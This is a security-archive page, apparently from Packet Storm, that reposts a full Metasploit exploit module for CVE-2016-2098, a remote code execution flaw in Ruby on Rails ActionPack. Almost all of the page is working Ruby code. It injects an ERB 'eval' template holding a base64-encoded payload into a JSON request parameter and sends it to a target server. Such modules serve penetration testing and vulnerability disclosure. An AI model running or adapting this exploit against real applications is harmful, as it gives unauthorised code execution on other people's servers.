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Ruby On Rails ActionPack Inline ERB Code Execution

Ruby On Rails ActionPack Inline ERB Code Execution
Posted Jul 9, 2016
Authored by RageLtMan | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability in the inline request processor of the Ruby on Rails ActionPack component. This vulnerability allows an attacker to process ERB to the inline JSON processor, which is then rendered, permitting full RCE within the runtime, without logging an error condition.

tags | exploit, remote, code execution, ruby
advisories | CVE-2016-2098
MD5 | 23217c482c48d5e43f21337fc1f8cd50

Ruby On Rails ActionPack Inline ERB Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
inline request processor of the Ruby on Rails ActionPack component.
This vulnerability allows an attacker to process ERB to the inline
JSON processor, which is then rendered, permitting full RCE within
the runtime, without logging an error condition.
},
'Author' =>
[
'RageLtMan <rageltman[at]sempervictus>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-2098' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Mar 1 2016',
'DefaultOptions' => {
"PrependFork" => true
},
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
], self.class)

end

def json_request
code = Rex::Text.encode_base64(payload.encoded)
return {
datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
}.to_json
end

def exploit
print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json'
},
'data' => json_request
}, 25)
end
end

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